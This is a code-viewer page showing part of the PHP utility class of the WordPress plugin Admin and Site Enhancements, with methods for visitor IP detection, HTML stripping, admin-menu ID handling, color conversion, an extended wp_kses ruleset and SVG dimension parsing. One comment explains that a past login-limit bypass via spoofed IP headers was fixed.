PluginProbe ʕ •ᴥ•ʔ
Admin and Site Enhancements (ASE) / 9.0.2
Admin and Site Enhancements (ASE) v9.0.2
9.1.1 9.1.0 9.0.2 9.0.1 9.0.0 8.9.2 8.9.1 8.9.0 8.8.8 8.8.7 8.8.6 8.8.5 8.8.4 8.8.3 8.8.2 8.8.1 8.8.0 8.7.3 8.7.2 8.7.1 8.2.1 8.2.2 8.2.3 8.3.0 8.3.1 8.3.2 8.4.0 8.4.1 8.4.2 8.5.0 8.5.1 8.5.2 8.6.0 8.6.1 8.6.2 8.7.0 5.0.1 5.0.2 5.0.2.1 5.0.2.2 5.0.2.3 5.0.2.4 5.1.0 5.2.0 5.2.1 5.2.10 5.2.11 5.2.2 5.2.3 5.2.4 5.2.5 5.2.6 5.2.7 5.2.8 5.2.9 5.3.0 5.3.1 5.3.2 5.4.0 5.4.1 5.5.0 5.5.1 5.5.2 5.6.0 5.6.1 5.6.2 5.7.0 5.7.1 5.8.0 5.8.1 6.0.0 6.0.3 6.0.4 6.0.5 6.0.5.1 6.0.6 6.0.7 6.0.8.1 6.1.0 6.1.3 6.2.0 6.2.1 6.2.2 6.2.3 6.2.4 6.2.5 6.2.6 6.2.7 6.3.0 6.3.1 6.3.2 6.4.0 6.5.0 6.5.1 6.6.0 6.7.0 6.8.0 6.8.2 6.8.3 6.9.0 6.9.1 6.9.10 6.9.11 6.9.12 6.9.13.1 6.9.13.2 6.9.2 6.9.3 6.9.4 6.9.5 6.9.6 6.9.7 6.9.8 6.9.9 7.0.0 7.0.2 7.0.2.1 7.0.2.2 7.0.2.3 7.0.3 7.1.0 7.1.1 7.1.2 7.1.3 7.1.4 7.1.5 7.2.0 7.2.1 7.3.0 7.3.1 7.3.2 7.3.3 7.4.0 7.4.2 7.4.4 7.4.5 7.4.6 7.4.7 7.4.8 7.5.0 7.5.1 7.5.2 7.5.3 7.5.4 7.6.0 7.6.1 7.6.1.1 7.6.10 7.6.11 7.6.2 7.6.3 7.6.4 7.6.5 7.6.6 7.6.7 7.6.7.1 7.6.8 7.6.9 7.7.0 7.8.0 7.8.1 7.8.10 7.8.11 7.8.12 7.8.13 7.8.14 7.8.15 7.8.16 7.8.17 7.8.18 7.8.2 7.8.3 7.8.4 7.8.5 7.8.5.1 7.8.6 7.8.7 7.8.8 7.8.9 7.9.0 7.9.1 7.9.10 7.9.11 7.9.2 7.9.3 7.9.4 7.9.5 7.9.6 7.9.7 7.9.8 7.9.9 8.0.0 8.0.1 8.0.2 8.0.3 8.0.4 8.0.5 8.0.6 8.0.7 8.0.8 8.1.0 8.1.1 8.1.2 8.1.3 8.1.4 8.2.0 trunk 1.0.0 1.1.0 1.2.0 1.3.0 1.4.0 1.5.0 1.6.0 1.7.0 1.8.0 1.9.0 2.0.0 2.1.0 2.2.0 2.3.0 2.4.0 2.5.0 2.6.0 2.7.0 2.8.0 2.8.1 2.8.2 2.8.3 2.9.0 3.0.0 3.0.1 3.0.2 3.0.3 3.0.4 3.0.5 3.0.6 3.1.0 3.2.0 3.3.0 3.4.0 3.5.0 3.6.1 3.7.0 3.8.0 3.9.0 3.9.1 3.9.2 4.0.0 4.0.1 4.1.0 4.2.0 4.2.1 4.2.2 4.3.0 4.3.1 4.4.0 4.5.0 4.6.0 4.7.0 4.7.1 4.7.2 4.7.3 4.7.4 4.8.0 4.8.1 4.8.2 4.8.3 4.9.0 4.9.1 4.9.2 4.9.3 5.0.0
admin-site-enhancements / classes / class-common-methods.php
admin-site-enhancements / classes Last commit date
class-activation.php 2 weeks ago class-admin-menu-organizer.php 2 weeks ago class-admin-menu-svg-icon-mask.php 2 weeks ago class-auto-publish-posts-with-missed-schedule.php 2 weeks ago class-avif-upload.php 2 weeks ago class-captcha-protection.php 2 weeks ago class-change-login-url.php 2 weeks ago class-cleanup-admin-bar.php 2 weeks ago class-common-methods.php 2 weeks ago class-content-duplication.php 2 weeks ago class-content-order.php 2 weeks ago class-custom-admin-footer-text.php 2 weeks ago class-custom-body-class.php 2 weeks ago class-custom-css.php 2 weeks ago class-custom-nav-menu-items-in-new-tab.php 2 weeks ago class-deactivation.php 2 weeks ago class-disable-author-archives.php 2 weeks ago class-disable-comments.php 2 weeks ago class-disable-dashboard-widgets.php 2 weeks ago class-disable-embeds.php 2 weeks ago class-disable-feeds.php 2 weeks ago class-disable-gutenberg.php 2 weeks ago class-disable-rest-api.php 2 weeks ago class-disable-smaller-components.php 2 weeks ago class-disable-updates.php 2 weeks ago class-disable-user-account.php 2 weeks ago class-disable-xml-rpc.php 2 weeks ago class-display-system-summary.php 2 weeks ago class-email-address-obfuscator.php 2 weeks ago class-email-delivery.php 2 weeks ago class-enhance-list-tables.php 2 weeks ago class-external-permalinks.php 2 weeks ago class-heartbeat-control.php 2 weeks ago class-hide-admin-bar.php 2 weeks ago class-hide-admin-notices.php 2 weeks ago class-image-sizes-panel.php 2 weeks ago class-image-upload-control.php 2 weeks ago class-insert-head-body-footer-code.php 2 weeks ago class-last-login-column.php 2 weeks ago class-limit-login-attempts.php 2 weeks ago class-login-id-type.php 2 weeks ago class-login-logout-menu.php 2 weeks ago class-maintenance-mode.php 2 weeks ago class-manage-ads-appads-txt.php 2 weeks ago class-manage-robots-txt.php 2 weeks ago class-media-files-visibility-control.php 2 weeks ago class-media-replacement.php 2 weeks ago class-multiple-user-roles.php 2 weeks ago class-navigation-menu-duplicator.php 2 weeks ago class-obfuscate-author-slugs.php 2 weeks ago class-open-external-links-in-new-tab.php 2 weeks ago class-password-protection.php 2 weeks ago class-redirect-after-login.php 2 weeks ago class-redirect-after-logout.php 2 weeks ago class-redirect-fourofour.php 2 weeks ago class-registration-date-column.php 2 weeks ago class-revisions-control.php 2 weeks ago class-search-engines-visibility.php 2 weeks ago class-settings-fields-render.php 2 weeks ago class-settings-sanitization.php 2 weeks ago class-settings-sections-fields.php 2 weeks ago class-show-custom-taxonomy-filters.php 2 weeks ago class-site-identity-on-login-page.php 2 weeks ago class-svg-upload.php 2 weeks ago class-third-party-compat.php 2 weeks ago class-various-admin-ui-enhancements.php 2 weeks ago class-view-admin-as-role.php 2 weeks ago class-wider-admin-menu.php 2 weeks ago class-wp-config-transformer.php 2 weeks ago
class-common-methods.php
894 lines
1 <?php
2
3 namespace ASENHA\Classes;
4
5 use WP_Query;
6 /**
7 * Class that provides common methods used throughout the plugin
8 *
9 * @since 2.5.0
10 */
11 class Common_Methods {
12 /**
13 * Get IP of the current visitor/user. In use by at least the Limit Login Attempts feature.
14 * This takes a best guess of the visitor's actual IP address.
15 * Takes into account numerous HTTP proxy headers due to variations
16 * in how different ISPs handle IP addresses in headers between hops.
17 *
18 * @link https://stackoverflow.com/q/1634782
19 * @since 2.5.0
20 */
21 public function get_user_ip_address( $return_type = 'ip', $for_which_module = 'limit-login-attempts' ) {
22 $options = get_option( ASENHA_SLUG_U, array() );
23 $ip_address_header = '';
24 switch ( $for_which_module ) {
25 case 'limit-login-attempts':
26 $ip_address_header = ( isset( $options['limit_login_attempts_header_override'] ) ? trim( $options['limit_login_attempts_header_override'] ) : '' );
27 break;
28 case 'password-protection':
29 $ip_address_header = ( isset( $options['password_protection_header_override'] ) ? trim( $options['password_protection_header_override'] ) : '' );
30 break;
31 }
32 // Attempt to get IP address with the preferred header
33 if ( !empty( $ip_address_header ) && isset( $_SERVER[$ip_address_header] ) ) {
34 // Check if multiple IP addresses exist in var
35 $ip_list = explode( ',', $_SERVER[$ip_address_header] );
36 if ( is_array( $ip_list ) && count( $ip_list ) > 1 ) {
37 foreach ( $ip_list as $ip ) {
38 switch ( $return_type ) {
39 case 'ip':
40 if ( $this->is_ip_valid( trim( $ip ) ) ) {
41 return sanitize_text_field( trim( $ip ) );
42 } else {
43 return '0.0.0.0';
44 // placeholder IP address
45 }
46 break;
47 case 'header':
48 return $ip_address_header . ' (multiple IP addresses)';
49 break;
50 }
51 }
52 } else {
53 switch ( $return_type ) {
54 case 'ip':
55 if ( $this->is_ip_valid( trim( $_SERVER[$ip_address_header] ) ) ) {
56 return sanitize_text_field( $_SERVER[$ip_address_header] );
57 } else {
58 return '0.0.0.0';
59 // placeholder IP address
60 }
61 break;
62 case 'header':
63 return $ip_address_header;
64 break;
65 }
66 }
67 }
68 // The following request headers can be modified by user or attacker when sending a request, so, will bypass an already blocked IP
69 // 'HTTP_CLIENT_IP', 'CF_CONNECTING_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_CF_CONNECTING_IP', 'TRUE_CLIENT_IP', 'HTTP_TRUE_CLIENT_IP', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED'
70 // Reported as security vulnerability in ASE <= v7.6.7.1 -- Limit Login Attempt Bypass via IP Spoofing
71 // Return unreliable but unspoofable IP address coming from the $_SERVER global as the default / fallback
72 switch ( $return_type ) {
73 case 'ip':
74 if ( $this->is_ip_valid( trim( $_SERVER['REMOTE_ADDR'] ) ) ) {
75 return sanitize_text_field( $_SERVER['REMOTE_ADDR'] );
76 } else {
77 return '0.0.0.0';
78 // placeholder IP address
79 }
80 break;
81 case 'header':
82 return 'REMOTE_ADDR';
83 break;
84 }
85 }
86
87 /**
88 * Check if the supplied IP address is valid or not
89 *
90 * @param string $ip an IP address
91 * @link https://stackoverflow.com/q/1634782
92 * @return boolean true if supplied address is valid IP, and false otherwise
93 */
94 public function is_ip_valid( $ip ) {
95 if ( empty( $ip ) ) {
96 return false;
97 }
98 // Ref: https://www.php.net/manual/en/filter.filters.validate.php
99 // Ref: https://www.php.net/manual/en/filter.constants.php#constant.filter-validate-ip
100 // No need to specify which IP type to filter/check, e.g. filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 )
101 // This should check for both IPv4 and IPv6 addresses
102 if ( false === filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) && false === filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
103 return false;
104 }
105 if ( false !== filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) || false !== filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
106 return true;
107 }
108 }
109
110 /**
111 * Convert number of seconds into hours, minutes, seconds. In use by at least the Limit Login Attempts feature.
112 *
113 * @since 2.5.0
114 */
115 public function seconds_to_period( $seconds, $conversion_type ) {
116 $period_start = new \DateTime('@0');
117 $period_end = new \DateTime("@{$seconds}");
118 if ( $conversion_type == 'to-days-hours-minutes-seconds' ) {
119 return $period_start->diff( $period_end )->format( '%a days, %h hours, %i minutes and %s seconds' );
120 } elseif ( $conversion_type == 'to-hours-minutes-seconds' ) {
121 return $period_start->diff( $period_end )->format( '%h hours, %i minutes and %s seconds' );
122 } elseif ( $conversion_type == 'to-minutes-seconds' ) {
123 return $period_start->diff( $period_end )->format( '%i minutes and %s seconds' );
124 } else {
125 return $period_start->diff( $period_end )->format( '%a days, %h hours, %i minutes and %s seconds' );
126 }
127 }
128
129 /**
130 * Remove html tags and content inside the tags from a string
131 *
132 * @since 3.0.3
133 */
134 public function strip_html_tags_and_content( $string ) {
135 // Strip HTML tags and content inside them. Ref: https://stackoverflow.com/a/39320168
136 if ( !is_null( $string ) ) {
137 if ( false === strpos( $string, 'fs-submenu-item' ) ) {
138 $string = preg_replace( '@<(\\w+)\\b.*?>.*?</\\1>@si', '', $string );
139 }
140 // Strip any remaining HTML or PHP tags
141 $string = strip_tags( $string );
142 }
143 return $string;
144 }
145
146 /**
147 * Extract readable text from a string that may contain HTML.
148 *
149 * Unlike strip_html_tags_and_content(), this method keeps the text inside tags,
150 * e.g. it will turn `<span><img ...>Paymattic</span>` into `Paymattic`.
151 *
152 * @since 8.0.2
153 *
154 * @param string|null $html A string that may contain HTML.
155 * @return string Readable plain text (may be empty).
156 */
157 public function extract_readable_text_from_html( $html ) {
158 if ( null === $html ) {
159 return '';
160 }
161 $text = wp_strip_all_tags( (string) $html, true );
162 $charset = get_bloginfo( 'charset' );
163 if ( empty( $charset ) ) {
164 $charset = 'UTF-8';
165 }
166 $text = html_entity_decode( $text, ENT_QUOTES, $charset );
167 $text = preg_replace( '/\\s+/u', ' ', $text );
168 return trim( $text );
169 }
170
171 /**
172 * Yoast SEO top-level menu CSS IDs that map to the same menu across roles.
173 *
174 * Administrators get toplevel_page_wpseo_dashboard. Non-administrators
175 * (Editors, SEO Managers, SEO Editors) get toplevel_page_wpseo_page_academy
176 * (newer Yoast) or toplevel_page_wpseo_workouts (older Yoast).
177 *
178 * @since 8.9.1
179 *
180 * @return array {
181 * @type string $canonical Canonical menu ID (administrator).
182 * @type string[] $aliases Non-administrator menu IDs.
183 * }
184 */
185 public function get_yoast_seo_menu_id_aliases() {
186 return array(
187 'canonical' => 'toplevel_page_wpseo_dashboard',
188 'aliases' => array('toplevel_page_wpseo_page_academy', 'toplevel_page_wpseo_workouts'),
189 );
190 }
191
192 /**
193 * Yoast SEO admin page URL fragments that map across roles.
194 *
195 * @since 8.9.1
196 *
197 * @return array {
198 * @type string $canonical Canonical page slug (administrator).
199 * @type string[] $aliases Non-administrator page slugs.
200 * }
201 */
202 public function get_yoast_seo_url_fragment_aliases() {
203 return array(
204 'canonical' => 'wpseo_dashboard',
205 'aliases' => array('wpseo_page_academy', 'wpseo_workouts'),
206 );
207 }
208
209 /**
210 * Append Yoast non-admin menu ID aliases when the canonical ID is present.
211 *
212 * @since 8.9.1
213 *
214 * @param array $menu_ids Indexed list of menu IDs.
215 * @return array
216 */
217 public function expand_yoast_seo_menu_id_aliases( $menu_ids ) {
218 if ( !is_array( $menu_ids ) || empty( $menu_ids ) ) {
219 return $menu_ids;
220 }
221 $yoast = $this->get_yoast_seo_menu_id_aliases();
222 if ( in_array( $yoast['canonical'], $menu_ids, true ) ) {
223 foreach ( $yoast['aliases'] as $alias ) {
224 if ( !in_array( $alias, $menu_ids, true ) ) {
225 $menu_ids[] = $alias;
226 }
227 }
228 }
229 return $menu_ids;
230 }
231
232 /**
233 * Get menu hidden by toggle
234 *
235 * @since 5.1.0
236 */
237 public function get_menu_hidden_by_toggle() {
238 $menu_hidden_by_toggle = array();
239 $options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
240 $options = ( isset( $options_extra['admin_menu'] ) ? $options_extra['admin_menu'] : array() );
241 if ( array_key_exists( 'custom_menu_hidden', $options ) ) {
242 $menu_hidden = $options['custom_menu_hidden'];
243 $menu_hidden = explode( ',', $menu_hidden );
244 $menu_hidden_by_toggle = array();
245 foreach ( $menu_hidden as $menu_id ) {
246 $menu_hidden_by_toggle[] = $this->restore_menu_item_id( $menu_id );
247 }
248 }
249 // Yoast SEO uses different menu IDs for admins vs non-admins; apply the same toggle-hide rules to both.
250 $menu_hidden_by_toggle = $this->expand_yoast_seo_menu_id_aliases( $menu_hidden_by_toggle );
251 // Also include Yoast page slugs so slug-based matching works for alias menus.
252 $yoast_menu = $this->get_yoast_seo_menu_id_aliases();
253 $yoast_menu_ids = array_merge( array($yoast_menu['canonical']), $yoast_menu['aliases'] );
254 if ( !empty( array_intersect( $yoast_menu_ids, $menu_hidden_by_toggle ) ) ) {
255 $yoast_frags = $this->get_yoast_seo_url_fragment_aliases();
256 $frag_list = array_merge( array($yoast_frags['canonical']), $yoast_frags['aliases'] );
257 foreach ( $frag_list as $frag ) {
258 if ( !in_array( $frag, $menu_hidden_by_toggle, true ) ) {
259 $menu_hidden_by_toggle[] = $frag;
260 }
261 }
262 }
263 return $menu_hidden_by_toggle;
264 }
265
266 /**
267 * Get user capabilities for which the "Show All/Less" menu toggle should be shown for
268 *
269 * @since 5.1.0
270 */
271 public function get_user_capabilities_to_show_menu_toggle_for() {
272 global $menu, $submenu;
273 $menu_always_hidden = array();
274 $user_capabilities_menus_are_hidden_for = array();
275 $menu_hidden_by_toggle = $this->get_menu_hidden_by_toggle();
276 // indexed array
277 foreach ( $menu as $menu_key => $menu_info ) {
278 foreach ( $menu_hidden_by_toggle as $hidden_menu_id ) {
279 if ( false !== strpos( $menu_info[4], 'wp-menu-separator' ) ) {
280 $menu_item_id = $menu_info[2];
281 } else {
282 $menu_item_id = $menu_info[5];
283 }
284 if ( $menu_item_id == $hidden_menu_id ) {
285 $user_capabilities_menus_are_hidden_for[] = $menu_info[1];
286 }
287 }
288 }
289 $user_capabilities_menus_are_hidden_for = array_unique( $user_capabilities_menus_are_hidden_for );
290 return $user_capabilities_menus_are_hidden_for;
291 // indexed array
292 }
293
294 /**
295 * Transform menu item's ID
296 *
297 * @since 5.1.0
298 */
299 public function transform_menu_item_id( $menu_item_id ) {
300 // Transform e.g. edit.php?post_type=page ==> edit__php___post_type____page
301 $menu_item_id_transformed = str_replace( array(
302 ".",
303 "?",
304 "=/",
305 "=",
306 "&",
307 "/",
308 ";"
309 ), array(
310 "__",
311 "___",
312 "_______",
313 "____",
314 "_____",
315 "______",
316 "________"
317 ), $menu_item_id );
318 return $menu_item_id_transformed;
319 }
320
321 /**
322 * Transform menu item's ID
323 *
324 * @since 5.1.0
325 */
326 public function restore_menu_item_id( $menu_item_id_transformed ) {
327 // Transform e.g. edit__php___post_type____page ==> edit.php?post_type=page
328 $menu_item_id = str_replace( array(
329 "________",
330 "_______",
331 "______",
332 "_____",
333 "____",
334 "___",
335 "__"
336 ), array(
337 ";",
338 "=/",
339 "/",
340 "&",
341 "=",
342 "?",
343 "."
344 ), $menu_item_id_transformed );
345 return $menu_item_id;
346 }
347
348 /**
349 * Sanitize hexedecimal numbers used for colors
350 *
351 * @link https://plugins.trac.wordpress.org/browser/bm-custom-login/trunk/bm-custom-login.php
352 * @param string $color Hex number to sanitize.
353 * @return string
354 */
355 public function sanitize_hex_color( $color ) {
356 if ( '' === $color ) {
357 return '';
358 }
359 // Make sure the color starts with a hash.
360 $color = '#' . ltrim( $color, '#' );
361 // 3 or 6 hex digits, or the empty string.
362 if ( preg_match( '|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) {
363 return $color;
364 }
365 return null;
366 }
367
368 /**
369 * Get the post ID of the most recent post in a custom post type
370 *
371 * @since 6.4.1
372 */
373 public function get_most_recent_post_id( $post_type ) {
374 $args = array(
375 'post_type' => $post_type,
376 'posts_per_page' => 1,
377 'orderby' => 'date',
378 'order' => 'DESC',
379 );
380 $query = new WP_Query($args);
381 if ( $query->have_posts() ) {
382 $query->the_post();
383 $post_id = get_the_ID();
384 wp_reset_postdata();
385 return $post_id;
386 }
387 return 0;
388 // Return 0 if no posts found
389 }
390
391 /**
392 * Extended ruleset for wp_kses() that includes SVG tag and it's children
393 *
394 * @since 6.8.3
395 */
396 public function get_kses_extended_ruleset() {
397 $kses_defaults = wp_kses_allowed_html( 'post' );
398 // For SVG icons
399 $svg_args = array(
400 'svg' => array(
401 'class' => true,
402 'aria-hidden' => true,
403 'aria-labelledby' => true,
404 'role' => true,
405 'xmlns' => true,
406 'width' => true,
407 'height' => true,
408 'viewbox' => true,
409 'viewBox' => true,
410 ),
411 'g' => array(
412 'fill' => true,
413 'fill-rule' => true,
414 'stroke' => true,
415 'stroke-width' => true,
416 'stroke-linejoin' => true,
417 'stroke-linecap' => true,
418 ),
419 'title' => array(
420 'title' => true,
421 ),
422 'path' => array(
423 'd' => true,
424 'fill' => true,
425 'stroke' => true,
426 'stroke-width' => true,
427 'stroke-linejoin' => true,
428 'stroke-linecap' => true,
429 ),
430 'rect' => array(
431 'width' => true,
432 'height' => true,
433 'x' => true,
434 'y' => true,
435 'rx' => true,
436 'ry' => true,
437 'fill' => true,
438 'stroke' => true,
439 'stroke-width' => true,
440 'stroke-linejoin' => true,
441 'stroke-linecap' => true,
442 ),
443 'circle' => array(
444 'cx' => true,
445 'cy' => true,
446 'r' => true,
447 'stroke' => true,
448 'stroke-width' => true,
449 'stroke-linejoin' => true,
450 'stroke-linecap' => true,
451 ),
452 );
453 $kses_with_extras = array_merge( $kses_defaults, $svg_args );
454 // For embedded PDF viewer
455 $style_script_args = array(
456 'style' => true,
457 'script' => array(
458 'src' => true,
459 ),
460 );
461 return array_merge( $kses_with_extras, $style_script_args );
462 }
463
464 /**
465 * Get the singular label from a $post object
466 *
467 * @since 6.9.3
468 */
469 function get_post_type_singular_label( $post ) {
470 $post_type_singular_label = '';
471 if ( property_exists( $post, 'post_type' ) ) {
472 $post_type_object = get_post_type_object( $post->post_type );
473 if ( is_object( $post_type_object ) && property_exists( $post_type_object, 'label' ) ) {
474 $post_type_singular_label = $post_type_object->labels->singular_name;
475 }
476 }
477 return $post_type_singular_label;
478 }
479
480 function is_in_block_editor() {
481 $current_screen = get_current_screen();
482 if ( method_exists( $current_screen, 'is_block_editor' ) && $current_screen->is_block_editor() ) {
483 return true;
484 } else {
485 return false;
486 }
487 }
488
489 /**
490 * Check if WooCommerce is active
491 *
492 * @since 6.9.9
493 */
494 public function is_woocommerce_active() {
495 if ( function_exists( 'is_plugin_active' ) && is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
496 return true;
497 } else {
498 return false;
499 }
500 }
501
502 /**
503 * Convert HEX color to RGBA
504 *
505 * @link https://stackoverflow.com/a/31934345
506 * @since 7.0.0
507 */
508 public function hex_to_rgba( $hex, $alpha = false ) {
509 $hex = str_replace( '#', '', trim( $hex ) );
510 $length = strlen( $hex );
511 $rgb['r'] = hexdec( ( $length == 6 ? substr( $hex, 0, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 0, 1 ), 2 ) : 0 )) ) );
512 $rgb['g'] = hexdec( ( $length == 6 ? substr( $hex, 2, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 1, 1 ), 2 ) : 0 )) ) );
513 $rgb['b'] = hexdec( ( $length == 6 ? substr( $hex, 4, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 2, 1 ), 2 ) : 0 )) ) );
514 if ( false !== $alpha ) {
515 $rgb['a'] = $alpha;
516 }
517 // Return array of r, g, b and a
518 // return $rgb;
519 // Return rgb(255,255,255) or rgba(255,255,255,.5)
520 return implode( array_keys( $rgb ) ) . '(' . implode( ', ', $rgb ) . ')';
521 }
522
523 /**
524 * Increases or decreases the brightness of a color by a percentage of the current brightness.
525 *
526 * @param string $hex Supported formats: `#FFF`, `#FFFFFF`, `FFF`, `FFFFFF`
527 * @param float $adjustment_percentage A number between -1 and 1. E.g. 0.3 = 30% lighter; -0.4 = 40% darker.
528 *
529 * @return string
530 *
531 * @link https://stackoverflow.com/a/54393956
532 * @author maliayas
533 */
534 function adjust_bnrightness( $hex, $adjustment_percentage ) {
535 $hex = ltrim( $hex, '#' );
536 if ( strlen( $hex ) == 3 ) {
537 $hex = $hex[0] . $hex[0] . $hex[1] . $hex[1] . $hex[2] . $hex[2];
538 }
539 $hex = array_map( 'hexdec', str_split( $hex, 2 ) );
540 foreach ( $hex as &$color ) {
541 $adjustableLimit = ( $adjustment_percentage < 0 ? $color : 255 - $color );
542 $adjustAmount = ceil( $adjustableLimit * $adjustment_percentage );
543 $color = str_pad(
544 dechex( $color + $adjustAmount ),
545 2,
546 '0',
547 STR_PAD_LEFT
548 );
549 }
550 return '#' . implode( $hex );
551 }
552
553 /**
554 * Detect if a color is light or dark
555 *
556 * @link https://stackoverflow.com/a/12228730
557 * @since 7.0.0
558 */
559 public function is_color_dark( $hex ) {
560 $hex = str_replace( '#', '', trim( (string) $hex ) );
561 if ( 3 === strlen( $hex ) ) {
562 $hex = $hex[0] . $hex[0] . $hex[1] . $hex[1] . $hex[2] . $hex[2];
563 }
564 if ( 6 !== strlen( $hex ) || !ctype_xdigit( $hex ) ) {
565 return true;
566 }
567 $r = hexdec( substr( $hex, 0, 2 ) );
568 $g = hexdec( substr( $hex, 2, 2 ) );
569 $b = hexdec( substr( $hex, 4, 2 ) );
570 $lightness = (max( $r, $g, $b ) + min( $r, $g, $b )) / 510.0;
571 // HSL algorithm
572 return $lightness <= 0.8;
573 }
574
575 /**
576 * Return SVG for small triangle in place of using &#9654; HTMl character
577 * which may be converted to emoticon by the browser or app
578 *
579 * @since 7.2.0
580 */
581 public function get_svg_triangle() {
582 return '<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10" viewBox="0 0 16 16"><path fill="currentColor" d="M14.222 6.687a1.5 1.5 0 0 1 0 2.629l-10 5.499A1.5 1.5 0 0 1 2 13.5V2.502a1.5 1.5 0 0 1 2.223-1.314z"/></svg>';
583 }
584
585 /**
586 * Get intrinsic width/height dimensions from a local SVG file.
587 *
588 * Some SVGs use percentage width/height attributes (e.g. width="100%" height="100%").
589 * In those cases, a correct aspect ratio should be derived from the viewBox instead.
590 *
591 * @since 9.2.0
592 *
593 * @param string $svg_path Absolute path to a local SVG file.
594 * @return array{width:int,height:int} Intrinsic dimensions if known, otherwise 0/0.
595 */
596 public function get_svg_intrinsic_dimensions_from_file( $svg_path ) {
597 $dims = array(
598 'width' => 0,
599 'height' => 0,
600 );
601 $svg_path = (string) $svg_path;
602 if ( '' === $svg_path ) {
603 return $dims;
604 }
605 $ext = strtolower( (string) pathinfo( $svg_path, PATHINFO_EXTENSION ) );
606 if ( 'svg' !== $ext ) {
607 return $dims;
608 }
609 if ( !file_exists( $svg_path ) ) {
610 return $dims;
611 }
612 // Safely parse SVG XML without allowing network access.
613 $prev_internal_errors = libxml_use_internal_errors( true );
614 $svg = simplexml_load_file( $svg_path, 'SimpleXMLElement', LIBXML_NONET | LIBXML_NOCDATA );
615 libxml_clear_errors();
616 libxml_use_internal_errors( $prev_internal_errors );
617 if ( false === $svg ) {
618 return $dims;
619 }
620 $attributes = $svg->attributes();
621 $width_raw = ( isset( $attributes->width ) ? trim( (string) $attributes->width ) : '' );
622 $height_raw = ( isset( $attributes->height ) ? trim( (string) $attributes->height ) : '' );
623 $view_box = ( isset( $attributes->viewBox ) ? trim( (string) $attributes->viewBox ) : '' );
624 $length_dims = $this->parse_svg_width_height_pair( $width_raw, $height_raw );
625 if ( $length_dims['width'] > 0 && $length_dims['height'] > 0 ) {
626 return $length_dims;
627 }
628 $vb_dims = $this->parse_svg_viewbox_dimensions( $view_box );
629 if ( $vb_dims['width'] > 0 && $vb_dims['height'] > 0 ) {
630 return $vb_dims;
631 }
632 return $dims;
633 }
634
635 /**
636 * Parse SVG width/height attributes when both values are absolute lengths.
637 *
638 * If either value is percentage-based (contains "%") or otherwise not parseable as an
639 * absolute length, return 0/0 so callers can fall back to viewBox.
640 *
641 * @since 9.2.0
642 *
643 * @param string $width_raw Raw `width` attribute value.
644 * @param string $height_raw Raw `height` attribute value.
645 * @return array{width:int,height:int}
646 */
647 private function parse_svg_width_height_pair( $width_raw, $height_raw ) {
648 $dims = array(
649 'width' => 0,
650 'height' => 0,
651 );
652 $width_raw = (string) $width_raw;
653 $height_raw = (string) $height_raw;
654 if ( '' === $width_raw || '' === $height_raw ) {
655 return $dims;
656 }
657 // Percentage sizes are not intrinsic dimensions.
658 if ( false !== strpos( $width_raw, '%' ) || false !== strpos( $height_raw, '%' ) ) {
659 return $dims;
660 }
661 $width_parsed = $this->parse_svg_absolute_length_value( $width_raw );
662 $height_parsed = $this->parse_svg_absolute_length_value( $height_raw );
663 if ( empty( $width_parsed['value'] ) || empty( $height_parsed['value'] ) ) {
664 return $dims;
665 }
666 // Require matching units (treat empty as px) to avoid having to convert.
667 $width_unit = ( isset( $width_parsed['unit'] ) ? (string) $width_parsed['unit'] : '' );
668 $height_unit = ( isset( $height_parsed['unit'] ) ? (string) $height_parsed['unit'] : '' );
669 if ( $width_unit !== $height_unit ) {
670 return $dims;
671 }
672 $w = (float) $width_parsed['value'];
673 $h = (float) $height_parsed['value'];
674 if ( $w <= 0 || $h <= 0 ) {
675 return $dims;
676 }
677 $dims['width'] = (int) round( $w );
678 $dims['height'] = (int) round( $h );
679 return $dims;
680 }
681
682 /**
683 * Parse SVG viewBox dimensions.
684 *
685 * @since 9.2.0
686 *
687 * @param string $view_box Raw `viewBox` attribute value.
688 * @return array{width:int,height:int}
689 */
690 private function parse_svg_viewbox_dimensions( $view_box ) {
691 $dims = array(
692 'width' => 0,
693 'height' => 0,
694 );
695 $view_box = trim( (string) $view_box );
696 if ( '' === $view_box ) {
697 return $dims;
698 }
699 $parts = preg_split( '/[\\s,]+/', $view_box );
700 if ( !is_array( $parts ) ) {
701 return $dims;
702 }
703 $parts = array_values( array_filter( $parts, 'strlen' ) );
704 if ( count( $parts ) < 4 ) {
705 return $dims;
706 }
707 $vb_w = floatval( $parts[2] );
708 $vb_h = floatval( $parts[3] );
709 if ( $vb_w <= 0 || $vb_h <= 0 ) {
710 return $dims;
711 }
712 $dims['width'] = (int) round( $vb_w );
713 $dims['height'] = (int) round( $vb_h );
714 return $dims;
715 }
716
717 /**
718 * Parse an SVG length attribute as an absolute value and unit.
719 *
720 * Supports unitless values and common absolute units used in SVG. Percentage values
721 * are rejected earlier by the caller.
722 *
723 * @since 9.2.0
724 *
725 * @param string $raw Raw attribute value.
726 * @return array{value:float,unit:string}|array{} Empty array if not parseable.
727 */
728 private function parse_svg_absolute_length_value( $raw ) {
729 $raw = trim( (string) $raw );
730 if ( '' === $raw ) {
731 return array();
732 }
733 if ( !preg_match( '/^\\s*([0-9]*\\.?[0-9]+)\\s*(px|pt|pc|mm|cm|in|q)?\\s*$/i', $raw, $matches ) ) {
734 return array();
735 }
736 $value = floatval( $matches[1] );
737 if ( $value <= 0 ) {
738 return array();
739 }
740 $unit = ( isset( $matches[2] ) ? strtolower( (string) $matches[2] ) : '' );
741 // Normalize empty unit to px (SVG/CSS default).
742 if ( '' === $unit ) {
743 $unit = 'px';
744 }
745 return array(
746 'value' => $value,
747 'unit' => $unit,
748 );
749 }
750
